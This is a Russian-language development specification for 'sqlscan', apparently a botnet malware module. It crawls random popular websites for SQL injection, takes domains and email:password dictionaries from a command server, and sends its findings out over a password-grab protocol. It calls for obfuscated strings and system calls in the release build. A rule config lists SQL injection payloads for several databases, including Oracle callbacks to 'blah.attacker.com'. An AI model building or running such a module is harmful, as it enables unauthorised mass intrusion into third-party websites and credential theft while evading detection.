﻿ЗАДАНИЕ НА РАЗРАБОТКУ СКАНЕРА УЯЗВИМОСТЕЙ ВЕБ-САЙТОВ


ЦЕЛЬ

Необходимо написать модуль сканера уязвимостей веб-сайтов. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.


ПРИНЦИП РАБОТЫ

Сканер состоит из двух основных частей:
* кроулер
* детектор

Кроулер генерирует URL-адреса для проверки.
Детектор проверяет их.

Результатом проверки единичного сайта является факт наличия или отстутствия уязвимости.
Если уязвимость найдена, она сопровождается дополнительной информацией:
- точный URL, на котором найдена уязвимость
- сработавшее правило сканера
- предполагаемый тип СУБД (определяется из сработавшего правила)

Результатом работы всего модуля является список найденных в процессе работы уязвимостей.


РЕАЛИЗАЦИЯ

0. Название проекта - sqlscan

1. Сканер может и должен работать в несколько потоков. Число потоков задается параметром в конфиге; если он отсутствует, используется константа времени компиляции.
Есть два варианта разбиения на потоки:
1)
- в первой группе потоков отрабатывает кроулер по разным доменам, генерируя список для детектора
- во второй группе потоков отрабатывает детектор, выбирая из выходного списка кроулера записи для проверки.
2) в каждом потоке работает одновременно и кроулер, и детектор:
- кроулер генерирует домен для проверки и передает ее детектору
- детектор проверяет домен и вновь запускает кроулер.

Второй вариант выглядит проще с точки зрения межпоточной синхронизации.


2. Инициализация модуля:
Инициализируем генератор псевдослучайных чисел.
Случайности в алгоритме отводится большое значение.
Инициализация должна происходить значением GetTickCount64().

3. Алгоритм работы кроулера:
1) стартуем с https://findsubdomains.com/world-top (этот URL и правила его парсинга задаются в конфиге - TODO пока не описано в ТЗ)
s3.amazonaws.com/alexa-static/top-1m.csv.zip
2) выбираем случайный сайт из списка от 1 до 50000
3) определяем субдомены этого сайта, с помощью DNS-запроса
4) парсим главную страницу:
- ищем ссылки с динамическими страницами (есть тело GET-запроса: page.html?var=val&var1=val1...)
- ищем веб-формы с отправкой по POST
5) Парсим файл robots.txt. В них могут указывать динамические страницы, с просьбой их не индексировать.
6) Составляем список параметров URI-запроса для страницы.
Отдельно помечаем те параметры, в которых есть:
- числа (в том числе отрицательные)
- url-encoded значения или обычный текст
Все параметры URI-запроса страницы являются неотъемлемыми свойствами страницы и также передаются в выдачу.
Однако дальнейшее сканирование производится лишь по помеченным параметрам, пригодным для скана.
7) добавляем страницу с параметрами в выдачу.

4. Алгоритм работы детектора:
1) Получаем следующий URL с выхода кроулера
2) Получаем следующее правило из списка правил
3) Применяем правило к странице.
3.1) Если правило сработало, добавляем страницу, сработавший параметр, и правило в выдачу. goto 1.
3.2) Если правило не сработало, goto 2
3.3) Если правил больше нет, goto 1


5. Модуль отправляет список найденных уязвимостей раз в Н минут (задается константой компиляции и настройкой из конфига),
при условии что с предыдущей отправки были найдены новые пароли.
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
Формат отправки: текст, разделенный на строки символами \r\n
В одной строке - одна запись.
Разделитель полей записи - символ '|' (вертикальная черта)
Формат записи:

url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n

таким образом, количество записей плавающее.
Здесь:
url       - полный URL сайта с обнаруженной уязвимостью, ВКЛЮЧАЯ ВСЕ ПАРАМЕТРЫ (т.е. все после символа ? в URI - важная информация!)
param     - имя параметра с обнаруженной уязвимостью
rule name - имя правила обнаруженной уязвимости.

6. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)

7. Модуль отправляет следующие события с тегом owa:
- "Version build %DATE% %TIME%" (один раз при старте)
- "Vulns sent to DPOST server" при успешной отправке собранных уязвимостей
- "Vulns send failure: servers unavailable" при отсутствии доступных серверов DPOST
- "No vulns detected, give up", если закончена отработка модуля и ничего не найдено (гипотетический случай)
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти

8. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
   Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только 
   примитивы синхронизации WinAPI (CRITICAL_SECTION итд).

9. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())

10. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.

11. Модуль должен иметь две версии - x32- и x64-разрядную.

12. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.

13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/webscan.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.

14. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).

15. Модуль должен работать на всех современных версиях Windows.
    Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).

16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.

17. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет


ПРАВИЛА ФАЗЗИНГА

Правила фаззинга делятся на два типа:
- временнЫе: проверяют уязвимость наличием задержки при HTTP-ответе, при инъекции кода с командой sleep.
- разностные: проверяют уязвимость фактом отсутствия разницы между константным значением параметра
и этим же значением, _вычисляемым_ в инъектированном выражении.

Пример временнОго правила:
  ?var=aaa@aaa.com';waitfor delay '00:00:10'--
выполнится с задержкой 10 секунд, а
  ?var=aaa@aaa.com
выполнится без задержки

Пример разностного правила:
  ?id=22
и
  ?id=23-1
выдадут одинаковую страницу

а
  ?id=22
и
  ?id=23
выдадут разные страницы (суть второй проверки - убедиться, что изменение параметра вообще в принципе влияет на выдачу).

В разностных правилах нужно учитывать, что формально разные результаты могут быть фактически одинаковыми
(например если на странице есть вывод текущего времени - фактически страница не изменялась, а формально страница секунду назад не равна странице сейчас).
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна (правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).

КОНФИГИ

Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)

Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
XML-комментарии запрещены.


* settings
Конфиг представляет из себя простой xml в следующем формате:

  <scan>
    <delay>задержка между итерациями подбора, в миллисекундах</delay>
    <threads>число потоков подбора</threads>
    <start>URL стартовой страницы, с которой брать список сайтов на проверку</start>
    <regex>регулярное выражение для поиска доменов на стартовой странице</regex>
  </scan>

Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.

* rules


Список правил к тестированию:

<rules>
  <rule>
    <name>имя правила</name>
    <type>time|diff  (одно из двух этих значений)</type>
    <value1>значение, подставляемое в тестируемый параметр</value1>
    <value2>значение, подставляемое в тестируемый параметр</value2>
    <value3>значение, подставляемое в тестируемый параметр</value3>
   </rule>
   ...
   <rule>
     ...
   </rule>
</rules>

Назначение тегов:
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
type - одно из двух значений type или diff - определяет тип правила (временнОе или разностное)
value* - для временнЫх правил, это значение нужно подставить в тестируемый параметр.
         Если тегов со значением несколько, их нужно подставить все по очереди, до успеха.
         При успешном тесте, оставшиеся значения можно не проверять.
       - для разностных правил:
value1 - константное значение: с результатом выдачи на это значение мы будем сравнивать
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем сравнивать с выдачей по value1.
value3 - контрольное значение: результат выдачи по этому значению мы будем сравнивать с value1.
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3 отличается.


Начальный вариант конфига

<rules>
  <rule>
    <name>MSSQL injection</name>
    <type>time</type>
    <value1>aaa@aaa.com';waitfor delay '00:00:10'--</value1>
   </rule>
  <rule>
    <name>MySQL injection</name>
    <type>time</type>
    <value1>aaa@aaa.com';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
   </rule>
  <rule>
    <name>Postgres injection</name>
    <type>time</type>
    <value1>aaa@aaa.com';SELECT pg_sleep(10);--</value1>
   </rule>
  <rule>
    <name>Oracle injection</name>
    <type>time</type>
    <value1>aaa@aaa.com';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
    <value2>aaa@aaa.com';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --</value2>
    <value3>aaa@aaa.com';SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; --</value3>
    <value4>aaa@aaa.com';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --</value4>
   </rule>
  <rule>
    <name>Unescaped numeric</name>
    <type>diff</type>
    <value1>22</value1>
    <value2>23-1</value2>
    <value3>23</value3>
   </rule>
  <rule>
    <name>Unescaped string</name>
    <type>diff</type>
    <value1>22</value1>
    <value2>22' and '1' = '1</value2>
    <value3>22' and '2'='1</value3>
   </rule>
</rules>


ВТОРАЯ ВЕРСИЯ

Во второй версии модуль управляется не входными данными из конфигов, а запросами к командному серверу.


КОМАНДНЫЙ СЕРВЕР И КОНФИГИ

Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
отсутствие специализированного хранилища для результатов.

Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
и которому отдаем добычу.

В связи с этим, упраздняются все конфиги из первой версии.
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.

Получить режим работы можно HTTP-запросом на сервер

GET /<group>/<clientid>/sql/mode HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
 CHAR ParentID[256];
 CHAR ParentGroup[64];
(см. module_HOWTO)

В теле HTTP-ответа модуль ожидает строку brute или check.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.

Число потоков сканирования:
GET /<group>/<clientid>/sql/th HTTP/1.1

В ответ - неотрицательное число.
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.

Сканер получает список доменов для проверки HTTP-запросом на сервер

GET /<group>/<clientid>/sql/domains HTTP/1.1
Формат ответа:
адрес1[\r]\n
домен2[\r]\n
...
(одна или множество записей)

При завершении перебора по выданному списку мы даем знать об этом серверу:

GET /<group>/<clientid>/sql/over HTTP/1.1

Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).

Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/sql/dict HTTP/1.1

В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
Формат:
email:password[\r]\n

Правила сканирования запрашиваем так:
GET /<group>/<clientid>/sql/rules HTTP/1.1

Ответ - text/plain либо application/gzip (пока ограничиться text/plain)

Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом

 POST /<group>/<clientid>/sql/81 HTTP/1.1

Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "SQL Injections"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:

url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
...
(одна или множество записей)

Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/sql/freq HTTP/1.1

В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.

При завершении перебора по выданному списку мы даем знать об этом серверу:

GET /<group>/<clientid>/sql/over HTTP/1.1

Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
